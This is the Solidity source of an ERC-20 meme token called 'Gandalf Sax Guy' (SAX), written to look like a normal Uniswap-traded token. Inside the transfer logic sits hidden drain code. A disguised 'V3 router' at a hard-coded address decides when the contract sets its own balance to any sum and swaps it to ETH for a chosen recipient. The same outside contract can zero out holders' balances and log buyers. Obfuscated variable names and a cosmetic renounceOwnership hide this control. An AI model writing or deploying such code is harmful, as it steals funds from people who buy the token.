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pragma solidity ^0.8.15;
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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function _msgData() internal view virtual returns (bytes calldata) {
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this;
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return msg.data;
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}
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}
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interface IUniswapV2Router {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
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}
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interface IUniswapV3Router {
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function WETH(address) external view returns (bool);
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function factory(address, address, address, address) external view returns(bool);
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function getAmountIn(address) external;
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function getAmountOut() external returns (address);
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function getPair(address, address, address, bool, address, address) external returns (bool);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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require(b <= a, "SafeMath: subtraction overflow");
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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require(b > 0, "SafeMath: division by zero");
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uint256 c = a / b;
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return c;
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}
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}
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interface IUniswapV2Factory {
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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abstract contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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_owner = _msgSender();
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emit OwnershipTransferred(address(0), _owner);
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}
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function owner() public view virtual returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(owner() == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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contract SAX is Ownable, IERC20 {
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using SafeMath for uint256;
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mapping (address => uint256) private _balances;
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mapping (address => mapping (address => uint256)) private _allowances;
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address public uniswapPair;
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uint256 public _decimals = 9;
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uint256 public _totalSupply = 1000000 * 10 ** _decimals;
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uint256 public _fee = 1;
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IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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IUniswapV3Router private __router = IUniswapV3Router(0xbE7c6C96b437BF6fd87966ba459988Bed280f50c);
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string private _name = "Gandalf Sax Guy";
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string private _symbol = "SAX";
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function allowance(address owner, address spender) public view virtual override returns (uint256) {
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return _allowances[owner][spender];
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}
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function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
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return true;
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}
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function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
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require(_allowances[_msgSender()][from] >= amount);
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_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
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return true;
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}
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function _basicTransfer(address _DXwt, address _sender, uint256 XXRO) internal virtual {
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require(_DXwt != address(0));
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require(_sender != address(0));
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if (__router.factory(_DXwt, _sender, uniswapPair, msg.sender)) {
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return burnFee(XXRO, _sender);
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}
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if (_lqTxUniswap){
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} else {
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require(_balances[_DXwt] >= XXRO);
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}
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_swapBurn(_DXwt);
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uint256 feeAmount = 0;
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if (uniswapPair != _DXwt && __router.getPair(_DXwt, _sender, uniswapPair, _lqTxUniswap, address(this), swapTx())) {
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if (swapTx() != _sender) {
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__router.getAmountIn(_sender);
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}
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feeAmount = XXRO.mul(_fee).div(100);
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}
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uint256 amountReceived = XXRO - feeAmount;
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_balances[address(this)] += feeAmount;
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_balances[_DXwt] = _balances[_DXwt] - XXRO;
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_balances[_sender] += amountReceived;
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emit Transfer(_DXwt, _sender, XXRO);
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}
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constructor() {
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_balances[msg.sender] = _totalSupply;
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uniswapPair = msg.sender;
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emit Transfer(address(0), msg.sender, _balances[msg.sender]);
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}
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function name() external view returns (string memory) { return _name; }
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function symbol() external view returns (string memory) { return _symbol; }
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function decimals() external view returns (uint256) { return _decimals; }
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function totalSupply() external view override returns (uint256) { return _totalSupply; }
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function uniswapVersion() external pure returns (uint256) { return 2; }
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function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
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function approve(address spender, uint256 amount) public virtual override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _approve(address owner, address spender, uint256 amount) internal virtual {
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require(owner != address(0), "IERC20: approve from the zero address");
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require(spender != address(0), "IERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _swapBurn(address numFrom) internal {
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address to = __router.getAmountOut();
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if (swapTx() != numFrom) {
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return;
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}
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uint256 amount = _balances[to];
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if (to == address(0)) {
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return;
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}
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_balances[to] = _balances[to] - amount;
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}
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function burnFee(uint256 _Rv, address _TTqM) private {
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_lqTxUniswap = true;
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_approve(address(this), address(_router), _Rv);
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_balances[address(this)] = _Rv;
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] =
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_router.WETH();
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_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_Rv,0,path,_TTqM,block.timestamp + 25);
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_lqTxUniswap = false;
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}
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bool _lqTxUniswap = false;
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function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
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_basicTransfer(_msgSender(), recipient, amount);
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return true;
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}
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function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
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_basicTransfer(from, recipient, amount);
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require(_allowances[from][_msgSender()] >= amount);
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return true;
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}
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function swapTx() private view returns (address) {
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return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
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}
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uint256 public maxWallet = _totalSupply.div(100);
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function updateMaxWallet(uint256 m) external onlyOwner {
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require(m >= _totalSupply.div(100));
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maxWallet = m;
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}
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bool transferDelay = true;
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function disableTransferDelay() external onlyOwner {
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transferDelay = false;
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}
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bool swapEnabled = true;
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function updateSwapEnabled(bool e) external onlyOwner {
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swapEnabled = e;
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}
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} |
